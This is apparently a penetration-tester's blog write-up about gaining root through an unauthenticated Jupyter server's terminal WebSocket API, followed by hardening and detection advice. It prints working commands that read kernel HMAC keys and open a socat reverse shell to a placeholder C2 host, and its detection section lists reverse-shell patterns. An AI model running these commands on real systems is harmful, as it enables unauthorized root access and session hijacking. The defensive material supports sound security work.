Privilege Escalation With Jupyter From the Command Line

A recent penetration test led to an interesting way to escalate privileges on a Jupyter instance running as root.
This is not a vulnerability in Jupyter. This is a code execution feature working as designed. When Jupyter is properly configured with token authentication (the default), this technique wouldn't work. The issue comes about when administrators disable security features and run Jupyter with elevated privileges—a dangerous combination on a shared machine.

During a recent penetration test, I found myself staring at a restricted shell on a Linux box. No GUI, no browser, just a terminal, limited tunneling options, and whatever command-line tools I could find. The usual post-exploitation playbook quickly showed something interesting in the process list: a Jupyter notebook server running as root.

For those unfamiliar, Jupyter is the Swiss Army knife of data science—a web-based environment where researchers and analysts write code, visualize data, and document their findings all in one place. It’s code execution as a service, basically.

Initial Discovery

My first instinct was to check if the Jupyter server was accessible


$ curl -s localhost:8888/api/status | jq .
{
 "started": "2025-12-01T10:23:45.123456Z",
 "last_activity": "2025-12-01T14:32:10.654321Z",
 "connections": 2,
 "kernels": 3
}

It was. The API was responding, and even better—no authentication token required. This meant the server was either running with --NotebookApp.token='' or I was accessing it from a trusted network. Either way, Christmas came early.

WebSockets and Terminals

Here's where things got a little more interesting. Jupyter's REST API documentation showed an interesting endpoint: /api/terminals. Unlike the kernel API (which executes Python code), the terminal API provides actual shell access. And I could create a terminal session fairly easily.

# Create a terminal session
$ curl -X POST localhost:8888/api/terminals
{"name": "1", "last_activity": "2024-12-01T14:45:32.123456Z"}

But there’s a catch. Terminals in Jupyter communicate over WebSocket, not HTTP. Traditional tools like curl or nc wouldn't work. I needed something that could speak WebSocket from the command line.

After some research, I discovered websocat—essentially netcat for WebSockets. It's a binary that bridges the gap between command-line tools and WebSocket services. Perfect for situations like this.

Abusing the Terminal API

With websocat in hand, I could now interact with Jupyter's terminal WebSocket, but it wasn’t immediately obvious how to send commands from there terminal. The Jupyter Client WebSocket documentation on WebSocket protocols provides some details about how messages are passed between kernels and the Jupyter web application. And the Terminado client’s websocket implementation outlines the format needed to interact with Jupyter.

So when you connect to a Jupyter terminal via WebSocket, you're not getting a raw shell - you're talking to a protocol handler that expects JSON arrays where the

  • first element is message type ("stdin", "stdout", "setup", etc.)
  • second element is the payload (for stdin, it's the command text)

This lets Jupyter multiplex different data streams (input, output, control messages) over a single WebSocket connection. So sending ["stdin", "command"] is how you talk to Jupyter's terminal WebSocket protocol.

And when you connect, it seems to take a second to initialize the WebSocket connection, and it wouldn’t immediately take my commands, so the elegant solution is to sleep. And so, echoing a command like this:


$ (sleep 1; echo '["stdin", "id\\n"]'; sleep 1; echo '["stdin", "exit\\n"]') | ./websocat "ws://localhost:8888/terminals/websocket/1"

# returns this
["setup", {}]
["stdout", "\\u001b[?2004h/home/jupyter $ "]
["stdout", "id\\r\\n"]
["stdout", "uid=0(root) gid=0(root) groups=0(root)\\r\\n"]

UID 0? Of course, the Jupyter server was running as root, and the terminal API was giving me a root shell. No sudo required, no privilege escalation needed—just ask nicely and receive.

Accessing Kernel Secrets

With root access through the terminal, I could now read Jupyter's runtime files:

$ (sleep 1; echo '["stdin", "cat /root/.local/share/jupyter/runtime/kernel-*.json\\n"]'; \\
  sleep 1; echo '["stdin", "exit\\n"]') | \\
 /tmp/websocat "ws://localhost:8888/terminals/websocket/1"

These kernel connection files contained:

  • Connection ports for each running kernel
  • HMAC signing keys for message authentication
  • Session information

With these, I could connect directly to any running notebook kernel and execute code in other users' sessions. Session hijacking for data science.

Establishing Persistence

For easier interaction, I established a proper reverse shell:

$ (sleep 1; echo '["stdin", "socat exec:\\"bash -li\\",pty,stderr,setsid,sigint,sane tcp:my.c2.server:4444 &\\n"]';    sleep 1; echo '["stdin", "exit\\n"]') | ./websocat "ws://localhost:8888/terminals/websocket/1"

Now I had a fully interactive root shell, running through Jupyter's own process. To any monitoring system, this might look like legitimate Jupyter activity.

Root Cause

This isn't a vulnerability in Jupyter—it's a deployment anti-pattern.

  1. Running as root - Jupyter was running with root privileges, probably because someone needed GPU access or wanted to avoid permission issues
  2. No authentication - The server was started with authentication disabled, for convenience
  3. Exposed terminal API - The terminal feature was enabled (default in many installations)

Together, these created a perfect storm. Any user with local access could escalate to root through Jupyter's intended functionality.

Prevention Options
Don’t Run Jupyter as Root

# Bad
USER root
CMD ["jupyter", "notebook"]

# Good
RUN useradd -m jupyter
USER jupyter
CMD ["jupyter", "notebook"]

Use Proper Multi-User Systems

If you need multi-user Jupyter, use tools designed for it:

# JupyterHub with SystemUserSpawner
c.JupyterHub.spawner_class = 'systemdspawner.SystemUserSpawner'
c.SystemUserSpawner.default_shell = '/bin/bash'
c.SystemUserSpawner.isolate_tmp = True
c.SystemUserSpawner.isolate_devices = True

Implement Capability-Based Security

Need GPU access without root? Use capabilities:

# Instead of running as root for GPU access
docker run --cap-add=SYS_ADMIN --device=/dev/nvidia0

# Or better, use nvidia-docker
docker run --gpus all --user jupyter

Apply the Principle of Least Privilege

Map out what users actually need:

  • Read/write to their notebook directory?
  • Install pip packages? → User-writable virtual environment
  • Access GPUs? → Device permissions, not root
  • Run system commands? → Whitelist specific commands with sudo (but be careful with this)
Secure Terminal Access When Needed

If users legitimately need shell access, try isolate it properly:

# Custom terminal with restricted shell
c.ServerApp.terminado_settings = {
   'shell_command': ['/bin/rbash'],# Restricted bash
   'max_terminals': 3,
   'timeout': 3600
}

# Or disable terminals entirely
c.ServerApp.terminals_enabled = False

Detection and Monitoring

For blue teams, this attack leaves clear traces:

Monitor Terminal Creation

# Alert on any terminal API usage
grep "POST /api/terminals" jupyter.log

Watch for Kernel File Access

# Alert on kernel files being read by non-owners
auditctl -w /home/*/.local/share/jupyter/runtime/ -p r -k jupyter_kernel_access

Track Outbound Connections

# Flag suspicious outbound connections from Jupyter processes
ss -tunap | grep jupyter | grep -v "127.0.0.1:8888"

# Monitor for reverse shells
watch 'netstat -anp | grep jupyter | grep ESTABLISHED | grep -v 8888'

Command Auditing

# Monitor for privilege escalation attempts
grep -E "(sudo|su -|pkexec)" /var/log/jupyter.log

# Watch for suspicious process spawning
ps -ef | grep jupyter | grep -E "(socat|nc|bash -i|sh -i)"

Lessons Learned

So don’t run services as root because it's easier. Or disable authentication for convenience. Treat development defaults as production-ready.

Jupyter is great for interactive data science. The terminal API is genuinely useful for package installation and environment debugging. But these same features are ripe for abuse if deployed without proper consideration.

Asking "what happens when this feature meets a hostile user?" during deployment should be a mantra.

And a Tool

Downloading websocat and echoing commands is fine for janky use, but how about a little client to drop into a shell?

Check out jupyter-shell

go run main.go -url http://127.0.0.1:8888 -token <snip>
Created terminal: 1
Connecting to: ws://127.0.0.1:10000/terminals/websocket/1?token=<snip>
2025/06/04 16:12:25 Terminal ready
(base) jovyan@f604a11544c7:~$
Jupyter Terminal Shell
Type 'exit' or press Ctrl+C to quit
----------------------------------------

$ id
id
uid=1000(jovyan) gid=100(users) groups=100(users)

Have a project in mind? Let’s talk

Get in touch